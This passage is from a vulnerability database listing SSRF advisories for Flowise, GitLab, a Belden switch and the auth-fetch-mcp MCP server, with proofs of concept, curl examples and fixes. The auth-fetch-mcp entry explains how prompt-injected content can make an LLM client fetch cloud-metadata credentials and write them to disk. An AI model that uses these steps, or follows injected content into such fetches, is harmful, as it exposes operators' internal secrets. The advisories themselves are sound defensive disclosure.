  "details": "### Summary\n---\n\nA Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.\n\n\n### Details\n---\n\n#### Vulnerability Overview\n\nThe `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.\n\nThe issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks.\n\n#### Root Cause\n\nThe `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.\n\n\n### Taint Flow\n\n#### \u2022 Taint 01: Route Registration\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24\n\n#### \u2022 Taint 02: Service\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18\n\n#### \u2022 Taint 03: xmlScrape\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478\n\n\n### PoC\n---\n\n#### PoC Description\n\nThis vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token:\n\n```\ntmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\n```\n\nUpon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:\n\n- `/api/users` (User Management)\n- `/api/secrets` (API Keys)\n- `/api/database` (Database Config)\n\nThis demonstrated that an attacker could enumerate internal web service structures.\n\n#### Internal Admin Server (Mock)\n\n```python\nfrom flask import Flask, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef admin():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eInternal Admin Panel\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/users\"\u003eUser Management\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets\"\u003eAPI Keys\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/database\"\u003eDatabase Config\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/logs\"\u003eSystem Logs\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \"\"\")\n\n@app.route(\u0027/api/users\u0027)\ndef users():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eUsers\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/users/admin\"\u003eadmin (root)\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/users/operator\"\u003eoperator\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n    \"\"\")\n\n@app.route(\u0027/api/secrets\u0027)\ndef secrets():\n    return render_template_string(\"\"\"\n    \u003chtml\u003e\n    \u003ch1\u003eSecrets\u003c/h1\u003e\n    \u003cul\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets/db_key\"\u003eDB Key: sk-1234567890abcdef\u003c/a\u003e\u003c/li\u003e\n        \u003cli\u003e\u003ca href=\"/api/secrets/aws_key\"\u003eAWS Key: AKIAIOSFODNN7EXAMPLE\u003c/a\u003e\u003c/li\u003e\n    \u003c/ul\u003e\n    \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n    \"\"\")\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u0027127.0.0.1\u0027, port=8080)\n```\n\n#### curl Request Example\n\n```bash\ncurl -G \u0027http://localhost:3000/api/v1/fetch-links\u0027 \\\n     --data-urlencode \u0027url=http://127.0.0.1:8080/\u0027 \\\n     --data-urlencode \u0027relativeLinksMethod=webCrawl\u0027 \\\n     --data-urlencode \u0027limit=10\u0027 \\\n     -H \u0027Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\u0027 \\\n     -s | jq \u0027.\u0027\n```\n\u003cimg width=\"1914\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3\" /\u003e\n\n\n### Impact\n---\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability.\n\n- **Who is impacted?** Any user running Flowise server exposed to external traffic.\n- **Risk:** Attackers can leverage the Flowise server to:\n  - Explore internal web applications\n  - Bypass firewall rules\n  - Access sensitive administrative interfaces\n  - Leak internal configuration, credentials, or secrets\n\nThis vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment.",
  "id": "GHSA-hr92-4q35-4j3m",
  "modified": "2025-09-22T21:58:31Z",
  "published": "2025-09-15T19:53:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59527"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-HRRX-P8R8-GJ4G

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2023-03-01 18:31
VLAI
Details

GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-19571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-10T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.",
  "id": "GHSA-hrrx-p8r8-gj4g",
  "modified": "2023-03-01T18:31:02Z",
  "published": "2022-05-24T16:49:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19571"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/53242"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160516/GitLab-11.4.7-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160699/GitLab-11.4.7-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HV3Q-723P-3RJQ

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details

A Server-Side Request Forgery issue was discovered in Belden Hirschmann GECKO Lite Managed switch, Version 2.0.00 and prior versions. The web server receives a request, but does not sufficiently verify that the request is being sent to the expected destination.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-30T03:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery issue was discovered in Belden Hirschmann GECKO Lite Managed switch, Version 2.0.00 and prior versions. The web server receives a request, but does not sufficiently verify that the request is being sent to the expected destination.",
  "id": "GHSA-hv3q-723p-3rjq",
  "modified": "2022-05-13T01:36:35Z",
  "published": "2022-05-13T01:36:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6036"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-026-02A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HV85-774V-26FG

Vulnerability from github – Published: 2026-05-19 15:47 – Updated: 2026-05-19 15:47
VLAI
Summary
auth-fetch-mcp: SSRF and disk exfiltration via unvalidated auth_fetch and download_media URLs
Details

SSRF + disk-exfil in download_media and auth_fetch tools — ymw0407/auth-fetch-mcp

Severity

The download_media and auth_fetch MCP tools accept arbitrary URLs and reach them as the MCP server process, with download_media additionally persisting the fetched response body to a user-controlled output directory. An MCP client (LLM under prompt injection, malicious peer) can drive the server to fetch loopback / link-local / private-range hosts (cloud-instance metadata, internal services, host-bound services) and exfiltrate the response.

Vulnerability chain

Site 1: download_media — SSRF + disk-write chain

src/tools.ts:200-274

server.registerTool("download_media", {
  inputSchema: {
    urls: z.array(z.string()).describe("One or more URLs to download"),
    output_dir: z.string().optional()...,
  },
}, async ({ urls, output_dir }) => {
  ...
  for (const url of urls) {
    try {
      const response = await ctx.request.get(url);   // line 238 — no validation
      ...
      const body = await response.body();
      ...
      const filePath = path.join(dir, `file-${++counter}${ext}`);
      fs.writeFileSync(filePath, body);              // line 257 — writes response to disk

urls and output_dir are user-controlled. The handler iterates each URL (line 236) and calls ctx.request.get(url) (Playwright's APIRequestContext.get) without checking the destination. The response body is written to path.join(output_dir, file-N.ext). Internal-service responses are persisted to disk where they can be exfiltrated via any subsequent tool that reads from the output directory (or via the response object itself, which contains localPath and size of every successful write).

Site 2: auth_fetch — SSRF via Playwright navigation

src/tools.ts:117-198

server.registerTool("auth_fetch", {
  inputSchema: {
    url: z.string().describe("The URL to fetch content from"),
    wait_for: z.string().optional()...,
  },
}, async ({ url, wait_for }) => {
  ...
  const page = await navigateTo(ctx, url);           // line 142
  ...
  const result = await extractContent(page);
  return textResult({ status: "ok", url: result.url, title: result.title, content: result.content });
});

src/browser.ts:53-64

export async function navigateTo(ctx: BrowserContext, url: string): Promise<Page> {
  ...
  await page.goto(url, { waitUntil: "domcontentloaded", timeout: 30000 });  // line 63
  return page;
}

url flows directly from the MCP tool argument to page.goto with no validation. Playwright will navigate to any URL the network stack can reach. The page DOM is returned in the tool response via extractContent. Internal pages (loopback admin UIs, cloud metadata endpoints reachable from the host, intranet services) are extractable.

Root cause

Neither handler validates URL targets before dispatch. The tool descriptions ("fetches web page content using a real browser ... e.g. Notion, Google Docs, Jira, Confluence, Linear, Slack, or any SaaS/private page") frame the intended usage as public SaaS web pages, not loopback or link-local hosts — but no code enforces that intent.

The fix shape (apply to both tools): after URL parsing, resolve to IP, reject if private/loopback/link-local. Same defense as the well-known SSRF-guard pattern shipped by other MCP fetchers in the ecosystem (e.g., Akitaroh/scraper-mcp src/security/url-guard.ts).

Auth boundary violated

Boundary type: MCP tool-argument boundary plus the local-network trust boundary. The MCP server typically sits inside a trust boundary (developer laptop with loopback services, cloud VM with IMDS, k8s pod with service account). The tools allow the MCP client to dispatch HTTP requests across that boundary.

Respected/violated trace: Per the tool descriptions, the expected respected boundary is "public SaaS web pages." That expectation is violated by any request reaching a host the user didn't intend to expose (127.0.0.1:6379 Redis, 169.254.169.254 cloud metadata, 192.168.0.1 internal admin).

Impact

  1. Cloud credential theft — server on EC2 / GCE / Azure VM. MCP client invokes auth_fetch({ url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" }) and receives temporary credentials in the tool response. Or invokes download_media({ urls: [...], output_dir: "/tmp/exfil" }) to persist them to disk.

  2. Internal service enumeration — MCP client probes private-range hosts (10/8, 172.16/12, 192.168/16). Each auth_fetch returns the page DOM; each download_media writes the response to disk.

  3. Loopback exploitation — server runs alongside Redis (127.0.0.1:6379), ElasticSearch (127.0.0.1:9200), or internal admin UIs. MCP client reads them via auth_fetch.

  4. Disk-write side channel (download_media only) — output_dir is also user-controlled, with no documented restriction. An MCP client can request output_dir = "/some/user-writable-shared-dir" and exfil internal-service responses to a location accessible to a co-tenant process.

The injection vector is any content reaching the model that prompts a fetch tool call. The tool description explicitly says "MUST be used instead of Fetch/web_fetch when the page requires login" — meaning the model is encouraged to call this tool for any "private page" mention, which a prompt-injected upstream content can trivially trigger.

Proof of concept (non-destructive)

poc.mjs — replicates the download_media handler's HTTP-fetch + file-write chain against a local fake-internal HTTP service. Playwright's ctx.request.get(url) is replaced with the equivalent fetch(url) for the bug case (a URL needing no auth) so the demo runs without browser deps. The structural defect — "no host validation before HTTP dispatch" — is identical.

[PoC] fake internal-only service: 127.0.0.1:36105
[PoC] simulating MCP client calling download_media({
        urls: ['http://127.0.0.1:36105/secrets'],
        output_dir: '/tmp/auth-fetch-exfil-aU1jjv'
      })
[PoC] no IP / host validation exists at tools.ts:236-238 before ctx.request.get(url)
[PoC] ✓ SSRF + DISK-EXFIL CONFIRMED
        File written to: /tmp/auth-fetch-exfil-aU1jjv/file-1.json
        Persisted content (187 bytes):
          {
            "AccessKeyId": "AKIA-FAKE-FROM-POC",
            "SecretAccessKey": "fake-secret-marker-NOT-REAL",
            "Note": "In a real exploit this would be AWS IMDS at 169.254.169.254/latest/meta-data/..."
          }

Exit code 0. SHA-256 poc.mjs: 4cea53f1a618581fc67f9a8bd07a7a2b22274f42cdbf7f3c658519673aaf7568. The PoC only contacts 127.0.0.1 on an ephemeral port; the fake-credentials string contains the literal FAKE marker so no downstream system can mistake it for real credentials. The exfil directory is cleaned up after the demo.

Suggested fix

Add a assertSafeUrl helper (same shape as in the matching egoist/fetch-mcp advisory) called before any HTTP dispatch — at tools.ts:236 inside the download_media loop, and at the top of navigateTo in browser.ts:53:

import dns from 'node:dns/promises'
import net from 'node:net'

async function assertSafeUrl(rawUrl: string): Promise<URL> {
  const parsed = new URL(rawUrl)
  if (!['http:', 'https:'].includes(parsed.protocol)) throw new Error(`Unsupported scheme`)
  const host = parsed.hostname
  const addresses = net.isIP(host)
    ? [host]
    : (await dns.lookup(host, { all: true })).map(a => a.address)
  for (const addr of addresses) {
    if (isPrivateOrLinkLocal(addr)) throw new Error(`Refusing to fetch ${addr}`)
  }
  return parsed
}

Where isPrivateOrLinkLocal blocks 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10.

For download_media specifically, also constrain output_dir: resolve it under a fixed root (e.g., ~/.auth-fetch-mcp/downloads/) and reject if the resolved path escapes that root.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "auth-fetch-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:47:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# SSRF + disk-exfil in `download_media` and `auth_fetch` tools \u2014 ymw0407/auth-fetch-mcp\n\n## Severity\nThe `download_media` and `auth_fetch` MCP tools accept arbitrary URLs and reach them as the MCP server process, with `download_media` additionally persisting the fetched response body to a user-controlled output directory. An MCP client (LLM under prompt injection, malicious peer) can drive the server to fetch loopback / link-local / private-range hosts (cloud-instance metadata, internal services, host-bound services) and exfiltrate the response.\n\n## Vulnerability chain\n\n### Site 1: `download_media` \u2014 SSRF + disk-write chain\n\n`src/tools.ts:200-274`\n```ts\nserver.registerTool(\"download_media\", {\n  inputSchema: {\n    urls: z.array(z.string()).describe(\"One or more URLs to download\"),\n    output_dir: z.string().optional()...,\n  },\n}, async ({ urls, output_dir }) =\u003e {\n  ...\n  for (const url of urls) {\n    try {\n      const response = await ctx.request.get(url);   // line 238 \u2014 no validation\n      ...\n      const body = await response.body();\n      ...\n      const filePath = path.join(dir, `file-${++counter}${ext}`);\n      fs.writeFileSync(filePath, body);              // line 257 \u2014 writes response to disk\n```\n\n`urls` and `output_dir` are user-controlled. The handler iterates each URL (line 236) and calls `ctx.request.get(url)` (Playwright\u0027s `APIRequestContext.get`) without checking the destination. The response body is written to `path.join(output_dir, file-N.ext)`. Internal-service responses are persisted to disk where they can be exfiltrated via any subsequent tool that reads from the output directory (or via the response object itself, which contains `localPath` and `size` of every successful write).\n\n### Site 2: `auth_fetch` \u2014 SSRF via Playwright navigation\n\n`src/tools.ts:117-198`\n```ts\nserver.registerTool(\"auth_fetch\", {\n  inputSchema: {\n    url: z.string().describe(\"The URL to fetch content from\"),\n    wait_for: z.string().optional()...,\n  },\n}, async ({ url, wait_for }) =\u003e {\n  ...\n  const page = await navigateTo(ctx, url);           // line 142\n  ...\n  const result = await extractContent(page);\n  return textResult({ status: \"ok\", url: result.url, title: result.title, content: result.content });\n});\n```\n\n`src/browser.ts:53-64`\n```ts\nexport async function navigateTo(ctx: BrowserContext, url: string): Promise\u003cPage\u003e {\n  ...\n  await page.goto(url, { waitUntil: \"domcontentloaded\", timeout: 30000 });  // line 63\n  return page;\n}\n```\n\n`url` flows directly from the MCP tool argument to `page.goto` with no validation. Playwright will navigate to any URL the network stack can reach. The page DOM is returned in the tool response via `extractContent`. Internal pages (loopback admin UIs, cloud metadata endpoints reachable from the host, intranet services) are extractable.\n\n## Root cause\nNeither handler validates URL targets before dispatch. The tool descriptions (\"fetches web page content using a real browser ... e.g. Notion, Google Docs, Jira, Confluence, Linear, Slack, or any SaaS/private page\") frame the intended usage as **public SaaS web pages**, not loopback or link-local hosts \u2014 but no code enforces that intent.\n\nThe fix shape (apply to both tools): after URL parsing, resolve to IP, reject if private/loopback/link-local. Same defense as the well-known SSRF-guard pattern shipped by other MCP fetchers in the ecosystem (e.g., `Akitaroh/scraper-mcp` `src/security/url-guard.ts`).\n\n## Auth boundary violated\n**Boundary type:** MCP tool-argument boundary plus the local-network trust boundary. The MCP server typically sits inside a trust boundary (developer laptop with loopback services, cloud VM with IMDS, k8s pod with service account). The tools allow the MCP client to dispatch HTTP requests across that boundary.\n\n**Respected/violated trace:** Per the tool descriptions, the expected respected boundary is \"public SaaS web pages.\" That expectation is violated by any request reaching a host the user didn\u0027t intend to expose (127.0.0.1:6379 Redis, 169.254.169.254 cloud metadata, 192.168.0.1 internal admin).\n\n## Impact\n\n1. **Cloud credential theft** \u2014 server on EC2 / GCE / Azure VM. MCP client invokes `auth_fetch({ url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\" })` and receives temporary credentials in the tool response. Or invokes `download_media({ urls: [...], output_dir: \"/tmp/exfil\" })` to persist them to disk.\n\n2. **Internal service enumeration** \u2014 MCP client probes private-range hosts (10/8, 172.16/12, 192.168/16). Each `auth_fetch` returns the page DOM; each `download_media` writes the response to disk.\n\n3. **Loopback exploitation** \u2014 server runs alongside Redis (127.0.0.1:6379), ElasticSearch (127.0.0.1:9200), or internal admin UIs. MCP client reads them via `auth_fetch`.\n\n4. **Disk-write side channel** (`download_media` only) \u2014 output_dir is also user-controlled, with no documented restriction. An MCP client can request `output_dir = \"/some/user-writable-shared-dir\"` and exfil internal-service responses to a location accessible to a co-tenant process.\n\nThe injection vector is any content reaching the model that prompts a fetch tool call. The tool description explicitly says \"MUST be used instead of Fetch/web_fetch when the page requires login\" \u2014 meaning the model is encouraged to call this tool for any \"private page\" mention, which a prompt-injected upstream content can trivially trigger.\n\n## Proof of concept (non-destructive)\n\n`poc.mjs` \u2014 replicates the `download_media` handler\u0027s HTTP-fetch + file-write chain against a local fake-internal HTTP service. Playwright\u0027s `ctx.request.get(url)` is replaced with the equivalent `fetch(url)` for the bug case (a URL needing no auth) so the demo runs without browser deps. The structural defect \u2014 \"no host validation before HTTP dispatch\" \u2014 is identical.\n\n```\n[PoC] fake internal-only service: 127.0.0.1:36105\n[PoC] simulating MCP client calling download_media({\n        urls: [\u0027http://127.0.0.1:36105/secrets\u0027],\n        output_dir: \u0027/tmp/auth-fetch-exfil-aU1jjv\u0027\n      })\n[PoC] no IP / host validation exists at tools.ts:236-238 before ctx.request.get(url)\n[PoC] \u2713 SSRF + DISK-EXFIL CONFIRMED\n        File written to: /tmp/auth-fetch-exfil-aU1jjv/file-1.json\n        Persisted content (187 bytes):\n          {\n            \"AccessKeyId\": \"AKIA-FAKE-FROM-POC\",\n            \"SecretAccessKey\": \"fake-secret-marker-NOT-REAL\",\n            \"Note\": \"In a real exploit this would be AWS IMDS at 169.254.169.254/latest/meta-data/...\"\n          }\n```\n\nExit code `0`. SHA-256 `poc.mjs`: `4cea53f1a618581fc67f9a8bd07a7a2b22274f42cdbf7f3c658519673aaf7568`. The PoC only contacts `127.0.0.1` on an ephemeral port; the fake-credentials string contains the literal `FAKE` marker so no downstream system can mistake it for real credentials. The exfil directory is cleaned up after the demo.\n\n## Suggested fix\n\nAdd a `assertSafeUrl` helper (same shape as in the matching egoist/fetch-mcp advisory) called before any HTTP dispatch \u2014 at `tools.ts:236` inside the download_media loop, and at the top of `navigateTo` in `browser.ts:53`:\n\n```ts\nimport dns from \u0027node:dns/promises\u0027\nimport net from \u0027node:net\u0027\n\nasync function assertSafeUrl(rawUrl: string): Promise\u003cURL\u003e {\n  const parsed = new URL(rawUrl)\n  if (![\u0027http:\u0027, \u0027https:\u0027].includes(parsed.protocol)) throw new Error(`Unsupported scheme`)\n  const host = parsed.hostname\n  const addresses = net.isIP(host)\n    ? [host]\n    : (await dns.lookup(host, { all: true })).map(a =\u003e a.address)\n  for (const addr of addresses) {\n    if (isPrivateOrLinkLocal(addr)) throw new Error(`Refusing to fetch ${addr}`)\n  }\n  return parsed\n}\n```\n\nWhere `isPrivateOrLinkLocal` blocks 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1, fc00::/7, fe80::/10.\n\nFor `download_media` specifically, also constrain `output_dir`: resolve it under a fixed root (e.g., `~/.auth-fetch-mcp/downloads/`) and reject if the resolved path escapes that root.",
  "id": "GHSA-hv85-774v-26fg",
  "modified": "2026-05-19T15:47:27Z",
  "published": "2026-05-19T15:47:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-hv85-774v-26fg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ymw0407/auth-fetch-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ymw0407/auth-fetch-mcp/releases/tag/v3.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "auth-fetch-mcp: SSRF and disk exfiltration via unvalidated auth_fetch and download_media URLs"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list